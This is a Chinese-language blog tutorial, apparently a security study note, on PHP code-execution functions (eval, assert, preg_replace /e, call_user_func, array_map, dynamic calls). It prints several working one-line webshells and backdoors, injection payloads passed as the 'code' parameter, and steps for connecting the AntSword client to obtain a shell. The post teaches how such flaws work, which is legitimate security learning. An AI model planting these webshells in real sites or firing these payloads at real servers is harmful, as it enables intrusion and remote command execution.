• PHP 危险函数2-代码执行语句


    代码执行语句

    eval()

    • 不是函数,不能被动态调用,并且需要以 ;结束

    • 直接输出,不执行

      
          $code="phpinfo();";
      	echo $code;
          ?>
      
      • 1
      • 2
      • 3
      • 4

      image-20231025141518170

    • eval() 语句执行

      
          $code="phpinfo();";
      	eval($code);      // eval 不是函数,最后要加 ;
          ?>
      
      • 1
      • 2
      • 3
      • 4

      image-20231025141559421

    • 动态执行

      
          $code=$_REQUEST["code"];
      	eval($code);
          ?>
      
      • 1
      • 2
      • 3
      • 4

      image-20231025142152024

    • 一句话木马

      
          eval($_REQUEST["code"]);
          ?>
      
      • 1
      • 2
      • 3

      image-20231025165821879

      蚁剑执行命令

      image-20231025165526577

    • 其他执行方式

      ?code=phpinfo();
      
      ?code=${phpinfo()};
      
      ?code=echo abc;phpinfo();
      
      ?code=?>this is a test<?php phpinfo();
      
      ?code=eval(phpinfo());
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9

    assert()

    • 高版本中删除了 assert()

    • 使用方法

      
      	assert("<执行语句>");
          ?>
      
      • 1
      • 2
      • 3
    • 调用系统函数

      image-20231025154512624

    • 动态调用

      
          $code=$_REQUEST["code"];
      	assert($code);
          ?>
      
      • 1
      • 2
      • 3
      • 4

      image-20231025154349691

    • 蚁剑连接

      image-20231025172351832

    preg_replace()

    • 正则匹配,替换

    • 替换字符,忽略大小写

      
          $code=preg_replace("/a/i","e","abAcd");
      	//  "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写
      	// 此处将 abAcd 中无论大小写的 a 全替换成 e
      	echo $code;
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      image-20231025155120906

      
          $code=preg_replace("/\[.*\]/i","e","[abcde]");
      	//  "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写
      	//  \ 用来进行转义
      	//  .* 表示全部内容
      	// 此处将 [abede] 包括中括号,替换成 e
      	echo $code;
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8

      image-20231025155308701

      $code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
      // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
      
      • 1
      • 2
    • 捕获 [] 中的内容

      
          $code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
      		\\1 第一次匹配的不明确的字符(此处为 phpinfo())
      
      
      	//		\[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。
      	//		\[ 匹配左方括号 [。
      	//		(.*) 匹配任意字符序列,并将其作为捕获组。
      	//		\] 匹配右方括号 ]。
      	//		"\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。
      	//		将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。
      	echo $code;
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13

      image-20231025163105920

    • 执行捕获的 [] 中的内容

      
          $code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");
          //	\\1 第一次匹配的不明确的字符(此处为 phpinfo())
          // 此处的参数 e 会将匹配出的不明确字符执行
      	echo $code;
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6

      image-20231025163213177

    回调函数

    • 可以调用其他函数的函数
    • call_user_func()、array_map()
    • eval()、isset() 等为语言结构,不是函数,不能被回调

    call_user_func()

    • 使用

      
      	call_user_func(<调用的函数>,<要传的参数>);
          ?>
      
      • 1
      • 2
      • 3
    • 
          $func="assert";
      	$code="phpinfo()";
      	call_user_func($func,$code);
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231025145510715

    • 动态执行

      
          $func=$_REQUEST["func"];
      	$code=$_REQUEST["code"];
      	call_user_func($func,$code);
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231025145244245

      image-20231025145339107

    • 连接蚁剑

      image-20231025174346683

    array_map()

    • 第二个参数必须是数组

    • 使用

      
          $func=$_REQUEST["func"];
      	$code[]="phpinfo()";
      	array_map($func,$code);
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231025164157955

    • 动态执行

      
          $func=$_REQUEST["func"];
      	$code=$_REQUEST["code"];
      	array_map($func,$code);
          ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5

      image-20231025174743867

    动态函数

    • 在 php 中写入最简单的后门函数

      
          $_GET['a']($_GET['b']);
          ?>
      
      • 1
      • 2
      • 3

      访问此 php 页面

      image-20231024110739759

      修改传参,成功执行命令

      image-20231024110854862

    蚁剑连接

    • eval 为一种语言结构,而非函数,不能动态调用

    • 可以将 assert 当作 a 的参数,b 的参数为一句话木马,连接蚁剑

      • 蚁剑为 POST 传参,需要将传参方式设置为 $_POST$_REQUEST

        <pre>
        <?php
            $_GET['a']($_REQUEST['b']);
            ?>
        
        • 1
        • 2
        • 3
        • 4

    • 蚁剑连接

      输入传参后的 url

      注意

      assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码

      连接密码为 $_REQUEST['b'] 中的 b

      image-20231024172526535

    • 获取 shell

      image-20231024172714987

  • 相关阅读:
    Html-文本属性
    Java多线程-ThreadPool线程池-1(三)
    手动写编译器实现加减乘除运算
    数学建模学习(93):方差分析、T检验、卡方分析(检验)
    Python 判断for循环最后一次的6种方法
    JAVA图书管理练习
    C#上位机与S7-200Smart通信注意事项
    VUE+websocket编写实现PC web端控制摄像头
    代码最佳实践和指南(一)
    使用redis限流 -- redisson实现
  • 原文地址:https://blog.csdn.net/weixin_51559599/article/details/134040427